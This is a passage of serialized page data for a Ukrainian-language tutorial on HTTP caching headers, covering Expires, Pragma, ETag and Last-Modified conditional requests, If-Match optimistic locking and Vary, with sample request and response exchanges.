only-if-cached\n",[3759,8163,8164,8177],{"__ignoreMap":3844},[3919,8165,8166,8168,8171,8173,8175],{"class":3921,"line":3922},[3919,8167,3998],{"class":3997},[3919,8169,8170],{"class":3982}," \u002Fdata ",[3919,8172,4004],{"class":3929},[3919,8174,4007],{"class":3982},[3919,8176,4011],{"class":4010},[3919,8178,8179,8181,8183],{"class":3921,"line":3937},[3919,8180,3761],{"class":3925},[3919,8182,3930],{"class":3929},[3919,8184,8185],{"class":3933}," only-if-cached\n",[3828,8187,8188],{},"Якщо немає у кеші, повернути помилку (504), не звертаючись до сервера.",[3846,8190,8192],{"id":8191},"expires-застаріла-альтернатива-max-age","Expires — Застаріла альтернатива max-age",[3828,8194,8195,4512,8197,8200],{},[3785,8196,4511],{},[3785,8198,8199],{},"абсолютну дату та час",", після якого ресурс вважається застарілим.",[3828,8202,8203],{},[3785,8204,4533],{},[3836,8206,8208],{"className":3913,"code":8207,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nExpires: Sun, 29 Aug 2027 14:00:00 GMT\nContent-Type: image\u002Fpng\n",[3759,8209,8210,8222,8231],{"__ignoreMap":3844},[3919,8211,8212,8214,8216,8218,8220],{"class":3921,"line":3922},[3919,8213,4004],{"class":3929},[3919,8215,4007],{"class":3982},[3919,8217,4862],{"class":4010},[3919,8219,4865],{"class":4010},[3919,8221,4868],{"class":3933},[3919,8223,8224,8226,8228],{"class":3921,"line":3937},[3919,8225,4375],{"class":3925},[3919,8227,3930],{"class":3929},[3919,8229,8230],{"class":3933}," Sun, 29 Aug 2027 14:00:00 GMT\n",[3919,8232,8233,8235,8237],{"class":3921,"line":4024},[3919,8234,4281],{"class":3925},[3919,8236,3930],{"class":3929},[3919,8238,8239],{"class":3933}," image\u002Fpng\n",[4289,8241,8242,8245,8247,8248,4295,8251,8253,8254,8257],{},[3785,8243,8244],{},"Пріоритет:",[4703,8246],{},"\nЯкщо присутні обидва (",[3759,8249,8250],{},"Cache-Control: max-age",[3759,8252,4375],{},"), ",[3785,8255,8256],{},"Cache-Control має вищий пріоритет",". Expires залишається для сумісності зі старими клієнтами.",[4697,8259,8260,8263,8265,8266,8269,8270,8272],{},[3785,8261,8262],{},"Проблема Expires:",[4703,8264],{},"\nЗалежить від ",[3785,8267,8268],{},"годинника клієнта",". Якщо годинник неправильно налаштований, кешування працюватиме некоректно. Тому ",[3759,8271,8250],{}," є кращим вибором (відносний час).",[3846,8274,8276],{"id":8275},"pragma-застарілий-заголовок-http10","Pragma — Застарілий заголовок (HTTP\u002F1.0)",[3828,8278,8279,8281],{},[3785,8280,4511],{}," У HTTP\u002F1.0 використовувався для відключення кешування.",[3828,8283,8284],{},[3785,8285,4533],{},[3836,8287,8289],{"className":3913,"code":8288,"language":3915,"meta":3844,"style":3844},"Cache-Control: no-cache\nPragma: no-cache\n",[3759,8290,8291,8299],{"__ignoreMap":3844},[3919,8292,8293,8295,8297],{"class":3921,"line":3922},[3919,8294,3761],{"class":3925},[3919,8296,3930],{"class":3929},[3919,8298,4086],{"class":3933},[3919,8300,8301,8303,8305],{"class":3921,"line":3937},[3919,8302,8057],{"class":3925},[3919,8304,3930],{"class":3929},[3919,8306,4086],{"class":3933},[3828,8308,8309,8310,8313],{},"Залишається лише для ",[3785,8311,8312],{},"зворотної сумісності"," зі старими проксі.",[3846,8315,8317],{"id":8316},"умовні-запити-для-ефективного-кешування","Умовні запити для ефективного кешування",[3828,8319,8320,8321,8324],{},"Умовні запити дозволяють ",[3785,8322,8323],{},"економити трафік",", запитуючи повні дані лише якщо ресурс змінився.",[5364,8326,8328],{"id":8327},"if-none-match-etag","If-None-Match + ETag",[3828,8330,8331],{},[3785,8332,8333],{},"Приклад повного циклу:",[3828,8335,8336],{},[3785,8337,8338],{},"1. Перший запит (кеш порожній)",[3836,8340,8342],{"className":3913,"code":8341,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fusers\u002F42 HTTP\u002F1.1\nHost: api.example.com\n",[3759,8343,8344,8356],{"__ignoreMap":3844},[3919,8345,8346,8348,8350,8352,8354],{"class":3921,"line":3922},[3919,8347,3998],{"class":3997},[3919,8349,4001],{"class":3982},[3919,8351,4004],{"class":3929},[3919,8353,4007],{"class":3982},[3919,8355,4011],{"class":4010},[3919,8357,8358,8360,8362],{"class":3921,"line":3937},[3919,8359,4016],{"class":3925},[3919,8361,3930],{"class":3929},[3919,8363,4021],{"class":3933},[3828,8365,8366],{},[3785,8367,8368],{},"Відповідь (200 OK з ETag)",[3836,8370,8372],{"className":3913,"code":8371,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nETag: \"user-v3-hash789\"\nCache-Control: private, max-age=300\n\n{\"id\":42,\"name\":\"John\",\"email\":\"john@example.com\"}\n",[3759,8373,8374,8386,8394,8403,8412,8416],{"__ignoreMap":3844},[3919,8375,8376,8378,8380,8382,8384],{"class":3921,"line":3922},[3919,8377,4004],{"class":3929},[3919,8379,4007],{"class":3982},[3919,8381,4862],{"class":4010},[3919,8383,4865],{"class":4010},[3919,8385,4868],{"class":3933},[3919,8387,8388,8390,8392],{"class":3921,"line":3937},[3919,8389,4281],{"class":3925},[3919,8391,3930],{"class":3929},[3919,8393,4946],{"class":3933},[3919,8395,8396,8398,8400],{"class":3921,"line":4024},[3919,8397,3765],{"class":3925},[3919,8399,3930],{"class":3929},[3919,8401,8402],{"class":3933}," \"user-v3-hash789\"\n",[3919,8404,8405,8407,8409],{"class":3921,"line":4035},[3919,8406,3761],{"class":3925},[3919,8408,3930],{"class":3929},[3919,8410,8411],{"class":3933}," private, max-age=300\n",[3919,8413,8414],{"class":3921,"line":4046},[3919,8415,4883],{"emptyLinePlaceholder":4882},[3919,8417,8418,8420,8422,8424,8426,8428,8430,8432,8434,8436,8438,8440,8442],{"class":3921,"line":4057},[3919,8419,4888],{"class":3982},[3919,8421,4892],{"class":4891},[3919,8423,3930],{"class":3982},[3919,8425,4897],{"class":4010},[3919,8427,4900],{"class":3982},[3919,8429,4903],{"class":4891},[3919,8431,3930],{"class":3982},[3919,8433,6748],{"class":3933},[3919,8435,4900],{"class":3982},[3919,8437,6219],{"class":4891},[3919,8439,3930],{"class":3982},[3919,8441,6738],{"class":3933},[3919,8443,4911],{"class":3982},[3828,8445,8446],{},"Браузер зберігає у кеші на 5 хвилин.",[3828,8448,8449],{},[3785,8450,8451],{},"2. Запит через 6 хвилин (кеш застарів)",[3836,8453,8455],{"className":3913,"code":8454,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fusers\u002F42 HTTP\u002F1.1\nIf-None-Match: \"user-v3-hash789\"\n",[3759,8456,8457,8469],{"__ignoreMap":3844},[3919,8458,8459,8461,8463,8465,8467],{"class":3921,"line":3922},[3919,8460,3998],{"class":3997},[3919,8462,4001],{"class":3982},[3919,8464,4004],{"class":3929},[3919,8466,4007],{"class":3982},[3919,8468,4011],{"class":4010},[3919,8470,8471,8473,8475],{"class":3921,"line":3937},[3919,8472,4390],{"class":3925},[3919,8474,3930],{"class":3929},[3919,8476,8402],{"class":3933},[3828,8478,8479],{},[3785,8480,8481],{},"Відповідь A (дані не змінилися — 304)",[3836,8483,8485],{"className":3913,"code":8484,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 304 Not Modified\nETag: \"user-v3-hash789\"\nCache-Control: private, max-age=300\n",[3759,8486,8487,8499,8507],{"__ignoreMap":3844},[3919,8488,8489,8491,8493,8495,8497],{"class":3921,"line":3922},[3919,8490,4004],{"class":3929},[3919,8492,4007],{"class":3982},[3919,8494,4862],{"class":4010},[3919,8496,7093],{"class":4010},[3919,8498,7096],{"class":3933},[3919,8500,8501,8503,8505],{"class":3921,"line":3937},[3919,8502,3765],{"class":3925},[3919,8504,3930],{"class":3929},[3919,8506,8402],{"class":3933},[3919,8508,8509,8511,8513],{"class":3921,"line":4024},[3919,8510,3761],{"class":3925},[3919,8512,3930],{"class":3929},[3919,8514,8411],{"class":3933},[3828,8516,8517,8518,8521],{},"Браузер використовує закешовані дані, ",[3785,8519,8520],{},"не завантажуючи тіло знову",". Економія: ~80% трафіку.",[3828,8523,8524],{},[3785,8525,8526],{},"Відповідь B (дані оновилися — 200 OK)",[3836,8528,8530],{"className":3913,"code":8529,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nETag: \"user-v4-hash012\"\nCache-Control: private, max-age=300\n\n{\"id\":42,\"name\":\"John Doe\",\"email\":\"john.doe@example.com\",\"updatedAt\":\"2026-08-29T14:00:00Z\"}\n",[3759,8531,8532,8544,8552,8561,8569,8573],{"__ignoreMap":3844},[3919,8533,8534,8536,8538,8540,8542],{"class":3921,"line":3922},[3919,8535,4004],{"class":3929},[3919,8537,4007],{"class":3982},[3919,8539,4862],{"class":4010},[3919,8541,4865],{"class":4010},[3919,8543,4868],{"class":3933},[3919,8545,8546,8548,8550],{"class":3921,"line":3937},[3919,8547,4281],{"class":3925},[3919,8549,3930],{"class":3929},[3919,8551,4946],{"class":3933},[3919,8553,8554,8556,8558],{"class":3921,"line":4024},[3919,8555,3765],{"class":3925},[3919,8557,3930],{"class":3929},[3919,8559,8560],{"class":3933}," \"user-v4-hash012\"\n",[3919,8562,8563,8565,8567],{"class":3921,"line":4035},[3919,8564,3761],{"class":3925},[3919,8566,3930],{"class":3929},[3919,8568,8411],{"class":3933},[3919,8570,8571],{"class":3921,"line":4046},[3919,8572,4883],{"emptyLinePlaceholder":4882},[3919,8574,8575,8577,8579,8581,8583,8585,8587,8589,8592,8594,8596,8598,8601,8603,8606,8608,8611],{"class":3921,"line":4057},[3919,8576,4888],{"class":3982},[3919,8578,4892],{"class":4891},[3919,8580,3930],{"class":3982},[3919,8582,4897],{"class":4010},[3919,8584,4900],{"class":3982},[3919,8586,4903],{"class":4891},[3919,8588,3930],{"class":3982},[3919,8590,8591],{"class":3933},"\"John Doe\"",[3919,8593,4900],{"class":3982},[3919,8595,6219],{"class":4891},[3919,8597,3930],{"class":3982},[3919,8599,8600],{"class":3933},"\"john.doe@example.com\"",[3919,8602,4900],{"class":3982},[3919,8604,8605],{"class":4891},"\"updatedAt\"",[3919,8607,3930],{"class":3982},[3919,8609,8610],{"class":3933},"\"2026-08-29T14:00:00Z\"",[3919,8612,4911],{"class":3982},[3828,8614,8615],{},"Браузер отримує нові дані та оновлює кеш.",[5364,8617,8619],{"id":8618},"if-modified-since-last-modified","If-Modified-Since + Last-Modified",[3828,8621,8622,8625,8626,3930],{},[3785,8623,8624],{},"Аналогічний механізм",", але базується на ",[3785,8627,8628],{},"даті модифікації",[3828,8630,8631],{},[3785,8632,8633],{},"1. Перший запит",[3836,8635,8637],{"className":3913,"code":8636,"language":3915,"meta":3844,"style":3844},"GET \u002Fimages\u002Flogo.png HTTP\u002F1.1\n",[3759,8638,8639],{"__ignoreMap":3844},[3919,8640,8641,8643,8646,8648,8650],{"class":3921,"line":3922},[3919,8642,3998],{"class":3997},[3919,8644,8645],{"class":3982}," \u002Fimages\u002Flogo.png ",[3919,8647,4004],{"class":3929},[3919,8649,4007],{"class":3982},[3919,8651,4011],{"class":4010},[3828,8653,8654],{},[3785,8655,8656],{},"Відповідь",[3836,8658,8660],{"className":3913,"code":8659,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: image\u002Fpng\nLast-Modified: Mon, 01 Aug 2026 08:00:00 GMT\nCache-Control: public, max-age=86400\nContent-Length: 45678\n\n[PNG дані]\n",[3759,8661,8662,8674,8682,8691,8699,8707,8711],{"__ignoreMap":3844},[3919,8663,8664,8666,8668,8670,8672],{"class":3921,"line":3922},[3919,8665,4004],{"class":3929},[3919,8667,4007],{"class":3982},[3919,8669,4862],{"class":4010},[3919,8671,4865],{"class":4010},[3919,8673,4868],{"class":3933},[3919,8675,8676,8678,8680],{"class":3921,"line":3937},[3919,8677,4281],{"class":3925},[3919,8679,3930],{"class":3929},[3919,8681,8239],{"class":3933},[3919,8683,8684,8686,8688],{"class":3921,"line":4024},[3919,8685,3768],{"class":3925},[3919,8687,3930],{"class":3929},[3919,8689,8690],{"class":3933}," Mon, 01 Aug 2026 08:00:00 GMT\n",[3919,8692,8693,8695,8697],{"class":3921,"line":4035},[3919,8694,3761],{"class":3925},[3919,8696,3930],{"class":3929},[3919,8698,7521],{"class":3933},[3919,8700,8701,8703,8705],{"class":3921,"line":4046},[3919,8702,4284],{"class":3925},[3919,8704,3930],{"class":3929},[3919,8706,6517],{"class":3933},[3919,8708,8709],{"class":3921,"line":4057},[3919,8710,4883],{"emptyLinePlaceholder":4882},[3919,8712,8713,8715,8718,8720],{"class":3921,"line":4068},[3919,8714,5308],{"class":3982},[3919,8716,8717],{"class":5311},"PNG",[3919,8719,5315],{"class":5311},[3919,8721,5318],{"class":3982},[3828,8723,8724],{},[3785,8725,8726],{},"2. Умовний запит (через день)",[3836,8728,8730],{"className":3913,"code":8729,"language":3915,"meta":3844,"style":3844},"GET \u002Fimages\u002Flogo.png HTTP\u002F1.1\nIf-Modified-Since: Mon, 01 Aug 2026 08:00:00 GMT\n",[3759,8731,8732,8744],{"__ignoreMap":3844},[3919,8733,8734,8736,8738,8740,8742],{"class":3921,"line":3922},[3919,8735,3998],{"class":3997},[3919,8737,8645],{"class":3982},[3919,8739,4004],{"class":3929},[3919,8741,4007],{"class":3982},[3919,8743,4011],{"class":4010},[3919,8745,8746,8748,8750],{"class":3921,"line":3937},[3919,8747,4393],{"class":3925},[3919,8749,3930],{"class":3929},[3919,8751,8690],{"class":3933},[3828,8753,8754],{},[3785,8755,8756],{},"Відповідь (не змінювався)",[3836,8758,8760],{"className":3913,"code":8759,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 304 Not Modified\nLast-Modified: Mon, 01 Aug 2026 08:00:00 GMT\nCache-Control: public, max-age=86400\n",[3759,8761,8762,8774,8782],{"__ignoreMap":3844},[3919,8763,8764,8766,8768,8770,8772],{"class":3921,"line":3922},[3919,8765,4004],{"class":3929},[3919,8767,4007],{"class":3982},[3919,8769,4862],{"class":4010},[3919,8771,7093],{"class":4010},[3919,8773,7096],{"class":3933},[3919,8775,8776,8778,8780],{"class":3921,"line":3937},[3919,8777,3768],{"class":3925},[3919,8779,3930],{"class":3929},[3919,8781,8690],{"class":3933},[3919,8783,8784,8786,8788],{"class":3921,"line":4024},[3919,8785,3761],{"class":3925},[3919,8787,3930],{"class":3929},[3919,8789,7521],{"class":3933},[5364,8791,8793],{"id":8792},"if-match-оптимістична-блокування-optimistic-locking","If-Match — Оптимістична блокування (Optimistic Locking)",[3828,8795,8796,8798,8799,8802],{},[3785,8797,4511],{}," Виконати операцію (PUT\u002FPATCH\u002FDELETE) ",[3785,8800,8801],{},"лише якщо"," ресурс має вказаний ETag (не був змінений іншим користувачем).",[3828,8804,8805],{},[3785,8806,8807],{},"Сценарій: Два користувачі редагують документ",[3828,8809,8810],{},[3785,8811,8812],{},"Користувач A: Отримує документ",[3836,8814,8816],{"className":3913,"code":8815,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fdocuments\u002F42 HTTP\u002F1.1\n",[3759,8817,8818],{"__ignoreMap":3844},[3919,8819,8820,8822,8825,8827,8829],{"class":3921,"line":3922},[3919,8821,3998],{"class":3997},[3919,8823,8824],{"class":3982}," \u002Fapi\u002Fv1\u002Fdocuments\u002F42 ",[3919,8826,4004],{"class":3929},[3919,8828,4007],{"class":3982},[3919,8830,4011],{"class":4010},[3828,8832,8833],{},[3785,8834,8656],{},[3836,8836,8838],{"className":3913,"code":8837,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nETag: \"doc-v5\"\nContent-Type: application\u002Fjson\n\n{\"id\":42,\"title\":\"Report\",\"content\":\"...\",\"version\":5}\n",[3759,8839,8840,8852,8861,8869,8873],{"__ignoreMap":3844},[3919,8841,8842,8844,8846,8848,8850],{"class":3921,"line":3922},[3919,8843,4004],{"class":3929},[3919,8845,4007],{"class":3982},[3919,8847,4862],{"class":4010},[3919,8849,4865],{"class":4010},[3919,8851,4868],{"class":3933},[3919,8853,8854,8856,8858],{"class":3921,"line":3937},[3919,8855,3765],{"class":3925},[3919,8857,3930],{"class":3929},[3919,8859,8860],{"class":3933}," \"doc-v5\"\n",[3919,8862,8863,8865,8867],{"class":3921,"line":4024},[3919,8864,4281],{"class":3925},[3919,8866,3930],{"class":3929},[3919,8868,4946],{"class":3933},[3919,8870,8871],{"class":3921,"line":4035},[3919,8872,4883],{"emptyLinePlaceholder":4882},[3919,8874,8875,8877,8879,8881,8883,8885,8888,8890,8893,8895,8898,8900,8902,8904,8907,8909,8912],{"class":3921,"line":4046},[3919,8876,4888],{"class":3982},[3919,8878,4892],{"class":4891},[3919,8880,3930],{"class":3982},[3919,8882,4897],{"class":4010},[3919,8884,4900],{"class":3982},[3919,8886,8887],{"class":4891},"\"title\"",[3919,8889,3930],{"class":3982},[3919,8891,8892],{"class":3933},"\"Report\"",[3919,8894,4900],{"class":3982},[3919,8896,8897],{"class":4891},"\"content\"",[3919,8899,3930],{"class":3982},[3919,8901,7393],{"class":3933},[3919,8903,4900],{"class":3982},[3919,8905,8906],{"class":4891},"\"version\"",[3919,8908,3930],{"class":3982},[3919,8910,8911],{"class":4010},"5",[3919,8913,4911],{"class":3982},[3828,8915,8916],{},[3785,8917,8918],{},"Користувач B: Отримує той самий документ (одночасно)",[3836,8920,8921],{"className":3913,"code":8815,"language":3915,"meta":3844,"style":3844},[3759,8922,8923],{"__ignoreMap":3844},[3919,8924,8925,8927,8929,8931,8933],{"class":3921,"line":3922},[3919,8926,3998],{"class":3997},[3919,8928,8824],{"class":3982},[3919,8930,4004],{"class":3929},[3919,8932,4007],{"class":3982},[3919,8934,4011],{"class":4010},[3828,8936,8937],{},[3785,8938,8939],{},"Відповідь (та сама версія)",[3836,8941,8943],{"className":3913,"code":8942,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nETag: \"doc-v5\"\n...\n",[3759,8944,8945,8957,8965],{"__ignoreMap":3844},[3919,8946,8947,8949,8951,8953,8955],{"class":3921,"line":3922},[3919,8948,4004],{"class":3929},[3919,8950,4007],{"class":3982},[3919,8952,4862],{"class":4010},[3919,8954,4865],{"class":4010},[3919,8956,4868],{"class":3933},[3919,8958,8959,8961,8963],{"class":3921,"line":3937},[3919,8960,3765],{"class":3925},[3919,8962,3930],{"class":3929},[3919,8964,8860],{"class":3933},[3919,8966,8967],{"class":3921,"line":4024},[3919,8968,5163],{"class":3982},[3828,8970,8971],{},[3785,8972,8973],{},"Користувач A: Зберігає зміни (перший)",[3836,8975,8977],{"className":3913,"code":8976,"language":3915,"meta":3844,"style":3844},"PUT \u002Fapi\u002Fv1\u002Fdocuments\u002F42 HTTP\u002F1.1\nIf-Match: \"doc-v5\"\nContent-Type: application\u002Fjson\n\n{\"title\":\"Updated Report\",\"content\":\"new content\"}\n",[3759,8978,8979,8992,9000,9008,9012],{"__ignoreMap":3844},[3919,8980,8981,8984,8986,8988,8990],{"class":3921,"line":3922},[3919,8982,8983],{"class":3997},"PUT",[3919,8985,8824],{"class":3982},[3919,8987,4004],{"class":3929},[3919,8989,4007],{"class":3982},[3919,8991,4011],{"class":4010},[3919,8993,8994,8996,8998],{"class":3921,"line":3937},[3919,8995,4396],{"class":3925},[3919,8997,3930],{"class":3929},[3919,8999,8860],{"class":3933},[3919,9001,9002,9004,9006],{"class":3921,"line":4024},[3919,9003,4281],{"class":3925},[3919,9005,3930],{"class":3929},[3919,9007,4946],{"class":3933},[3919,9009,9010],{"class":3921,"line":4035},[3919,9011,4883],{"emptyLinePlaceholder":4882},[3919,9013,9014,9016,9018,9020,9023,9025,9027,9029,9032],{"class":3921,"line":4046},[3919,9015,4888],{"class":3982},[3919,9017,8887],{"class":4891},[3919,9019,3930],{"class":3982},[3919,9021,9022],{"class":3933},"\"Updated Report\"",[3919,9024,4900],{"class":3982},[3919,9026,8897],{"class":4891},[3919,9028,3930],{"class":3982},[3919,9030,9031],{"class":3933},"\"new content\"",[3919,9033,4911],{"class":3982},[3828,9035,9036],{},[3785,9037,9038],{},"Відповідь (успіх)",[3836,9040,9042],{"className":3913,"code":9041,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nETag: \"doc-v6\"\n\n{\"id\":42,\"title\":\"Updated Report\",\"version\":6}\n",[3759,9043,9044,9056,9065,9069],{"__ignoreMap":3844},[3919,9045,9046,9048,9050,9052,9054],{"class":3921,"line":3922},[3919,9047,4004],{"class":3929},[3919,9049,4007],{"class":3982},[3919,9051,4862],{"class":4010},[3919,9053,4865],{"class":4010},[3919,9055,4868],{"class":3933},[3919,9057,9058,9060,9062],{"class":3921,"line":3937},[3919,9059,3765],{"class":3925},[3919,9061,3930],{"class":3929},[3919,9063,9064],{"class":3933}," \"doc-v6\"\n",[3919,9066,9067],{"class":3921,"line":4024},[3919,9068,4883],{"emptyLinePlaceholder":4882},[3919,9070,9071,9073,9075,9077,9079,9081,9083,9085,9087,9089,9091,9093,9096],{"class":3921,"line":4035},[3919,9072,4888],{"class":3982},[3919,9074,4892],{"class":4891},[3919,9076,3930],{"class":3982},[3919,9078,4897],{"class":4010},[3919,9080,4900],{"class":3982},[3919,9082,8887],{"class":4891},[3919,9084,3930],{"class":3982},[3919,9086,9022],{"class":3933},[3919,9088,4900],{"class":3982},[3919,9090,8906],{"class":4891},[3919,9092,3930],{"class":3982},[3919,9094,9095],{"class":4010},"6",[3919,9097,4911],{"class":3982},[3828,9099,9100],{},[3785,9101,9102],{},"Користувач B: Намагається зберегти свої зміни (пізніше)",[3836,9104,9106],{"className":3913,"code":9105,"language":3915,"meta":3844,"style":3844},"PUT \u002Fapi\u002Fv1\u002Fdocuments\u002F42 HTTP\u002F1.1\nIf-Match: \"doc-v5\"\nContent-Type: application\u002Fjson\n\n{\"title\":\"Another Update\",\"content\":\"different content\"}\n",[3759,9107,9108,9120,9128,9136,9140],{"__ignoreMap":3844},[3919,9109,9110,9112,9114,9116,9118],{"class":3921,"line":3922},[3919,9111,8983],{"class":3997},[3919,9113,8824],{"class":3982},[3919,9115,4004],{"class":3929},[3919,9117,4007],{"class":3982},[3919,9119,4011],{"class":4010},[3919,9121,9122,9124,9126],{"class":3921,"line":3937},[3919,9123,4396],{"class":3925},[3919,9125,3930],{"class":3929},[3919,9127,8860],{"class":3933},[3919,9129,9130,9132,9134],{"class":3921,"line":4024},[3919,9131,4281],{"class":3925},[3919,9133,3930],{"class":3929},[3919,9135,4946],{"class":3933},[3919,9137,9138],{"class":3921,"line":4035},[3919,9139,4883],{"emptyLinePlaceholder":4882},[3919,9141,9142,9144,9146,9148,9151,9153,9155,9157,9160],{"class":3921,"line":4046},[3919,9143,4888],{"class":3982},[3919,9145,8887],{"class":4891},[3919,9147,3930],{"class":3982},[3919,9149,9150],{"class":3933},"\"Another Update\"",[3919,9152,4900],{"class":3982},[3919,9154,8897],{"class":4891},[3919,9156,3930],{"class":3982},[3919,9158,9159],{"class":3933},"\"different content\"",[3919,9161,4911],{"class":3982},[3828,9163,9164],{},[3785,9165,9166],{},"Відповідь (конфлікт — версія вже не v5, а v6)",[3836,9168,9170],{"className":3913,"code":9169,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 412 Precondition Failed\nETag: \"doc-v6\"\nContent-Type: application\u002Fjson\n\n{\"error\":\"Precondition Failed\",\"message\":\"Document was modified by another user. Current version: 6, your version: 5. Please reload and try again.\"}\n",[3759,9171,9172,9186,9194,9202,9206],{"__ignoreMap":3844},[3919,9173,9174,9176,9178,9180,9183],{"class":3921,"line":3922},[3919,9175,4004],{"class":3929},[3919,9177,4007],{"class":3982},[3919,9179,4862],{"class":4010},[3919,9181,9182],{"class":4010}," 412",[3919,9184,9185],{"class":3933}," Precondition Failed\n",[3919,9187,9188,9190,9192],{"class":3921,"line":3937},[3919,9189,3765],{"class":3925},[3919,9191,3930],{"class":3929},[3919,9193,9064],{"class":3933},[3919,9195,9196,9198,9200],{"class":3921,"line":4024},[3919,9197,4281],{"class":3925},[3919,9199,3930],{"class":3929},[3919,9201,4946],{"class":3933},[3919,9203,9204],{"class":3921,"line":4035},[3919,9205,4883],{"emptyLinePlaceholder":4882},[3919,9207,9208,9210,9212,9214,9217,9219,9221,9223,9226],{"class":3921,"line":4046},[3919,9209,4888],{"class":3982},[3919,9211,4957],{"class":4891},[3919,9213,3930],{"class":3982},[3919,9215,9216],{"class":3933},"\"Precondition Failed\"",[3919,9218,4900],{"class":3982},[3919,9220,4967],{"class":4891},[3919,9222,3930],{"class":3982},[3919,9224,9225],{"class":3933},"\"Document was modified by another user. Current version: 6, your version: 5. Please reload and try again.\"",[3919,9227,4911],{"class":3982},[3828,9229,9230,9231,9234],{},"Користувач B повинен ",[3785,9232,9233],{},"перезавантажити"," документ, об'єднати зміни та повторити збереження.",[5327,9236,9237,9242],{},[3828,9238,9239],{},[3785,9240,9241],{},"Переваги Optimistic Locking:",[3746,9243,9244,9247,9250,9253],{},[3749,9245,9246],{},"Немає блокування ресурсу на час редагування.",[3749,9248,9249],{},"Висока паралельність — кілька користувачів можуть редагувати одночасно.",[3749,9251,9252],{},"Конфлікти виявляються лише при збереженні.",[3749,9254,9255],{},"Ідеально для веб-застосунків (де неможливо утримувати блокування через HTTP).",[3846,9257,9259],{"id":9258},"vary-варіації-кешованих-відповідей","Vary — Варіації кешованих відповідей",[3828,9261,9262,7320,9264,9267,9268,9271],{},[3785,9263,4511],{},[3785,9265,9266],{},"заголовки запиту"," впливають на відповідь. Проксі та CDN використовують це для ",[3785,9269,9270],{},"кешування кількох варіантів"," одного ресурсу.",[3828,9273,9274],{},[3785,9275,9276],{},"Приклад 1: Vary за Accept-Encoding",[3836,9278,9280],{"className":3913,"code":9279,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml\nContent-Encoding: gzip\nVary: Accept-Encoding\nCache-Control: public, max-age=3600\n",[3759,9281,9282,9294,9302,9310,9318],{"__ignoreMap":3844},[3919,9283,9284,9286,9288,9290,9292],{"class":3921,"line":3922},[3919,9285,4004],{"class":3929},[3919,9287,4007],{"class":3982},[3919,9289,4862],{"class":4010},[3919,9291,4865],{"class":4010},[3919,9293,4868],{"class":3933},[3919,9295,9296,9298,9300],{"class":3921,"line":3937},[3919,9297,4281],{"class":3925},[3919,9299,3930],{"class":3929},[3919,9301,6016],{"class":3933},[3919,9303,9304,9306,9308],{"class":3921,"line":4024},[3919,9305,4287],{"class":3925},[3919,9307,3930],{"class":3929},[3919,9309,6863],{"class":3933},[3919,9311,9312,9314,9316],{"class":3921,"line":4035},[3919,9313,5294],{"class":3925},[3919,9315,3930],{"class":3929},[3919,9317,5299],{"class":3933},[3919,9319,9320,9322,9324],{"class":3921,"line":4046},[3919,9321,3761],{"class":3925},[3919,9323,3930],{"class":3929},[3919,9325,7198],{"class":3933},[3828,9327,9328,9329,9332,9333,9336],{},"CDN кешує ",[3785,9330,9331],{},"окремі версії"," для клієнтів з ",[3759,9334,9335],{},"Accept-Encoding: gzip"," та без нього.",[3828,9338,9339],{},[3785,9340,9341],{},"Приклад 2: Vary за Accept-Language (мультимовний сайт)",[3836,9343,9345],{"className":3913,"code":9344,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml\nContent-Language: uk\nVary: Accept-Language\nCache-Control: public, max-age=3600\n",[3759,9346,9347,9359,9367,9376,9385],{"__ignoreMap":3844},[3919,9348,9349,9351,9353,9355,9357],{"class":3921,"line":3922},[3919,9350,4004],{"class":3929},[3919,9352,4007],{"class":3982},[3919,9354,4862],{"class":4010},[3919,9356,4865],{"class":4010},[3919,9358,4868],{"class":3933},[3919,9360,9361,9363,9365],{"class":3921,"line":3937},[3919,9362,4281],{"class":3925},[3919,9364,3930],{"class":3929},[3919,9366,6016],{"class":3933},[3919,9368,9369,9371,9373],{"class":3921,"line":4024},[3919,9370,5073],{"class":3925},[3919,9372,3930],{"class":3929},[3919,9374,9375],{"class":3933}," uk\n",[3919,9377,9378,9380,9382],{"class":3921,"line":4035},[3919,9379,5294],{"class":3925},[3919,9381,3930],{"class":3929},[3919,9383,9384],{"class":3933}," Accept-Language\n",[3919,9386,9387,9389,9391],{"class":3921,"line":4046},[3919,9388,3761],{"class":3925},[3919,9390,3930],{"class":3929},[3919,9392,7198],{"class":3933},[3828,9394,9395],{},"CDN кешує українську, англійську, польську версії окремо.",[3828,9397,9398],{},[3785,9399,9400],{},"Приклад 3: Vary за User-Agent (мобільна\u002Fдесктопна версія)",[3836,9402,9404],{"className":3913,"code":9403,"language":3915,"meta":3844,"style":3844},"Vary: User-Agent\n",[3759,9405,9406],{"__ignoreMap":3844},[3919,9407,9408,9410,9412],{"class":3921,"line":3922},[3919,9409,5294],{"class":3925},[3919,9411,3930],{"class":3929},[3919,9413,9414],{"class":3933}," User-Agent\n",[3828,9416,9417],{},[3785,9418,9419],{},"Приклад 4: Vary за кількома заголовками",[3836,9421,9423],{"className":3913,"code":9422,"language":3915,"meta":3844,"style":3844},"Vary: Accept-Encoding, Accept-Language, User-Agent\n",[3759,9424,9425],{"__ignoreMap":3844},[3919,9426,9427,9429,9431],{"class":3921,"line":3922},[3919,9428,5294],{"class":3925},[3919,9430,3930],{"class":3929},[3919,9432,9433],{"class":3933}," Accept-Encoding, Accept-Language, User-Agent\n",[4697,9435,9436,9439,9441,9442,9445,9446,9449],{},[3785,9437,9438],{},"Обережно з Vary:",[4703,9440],{},"\nКожна комбінація значень створює ",[3785,9443,9444],{},"окрему запис у 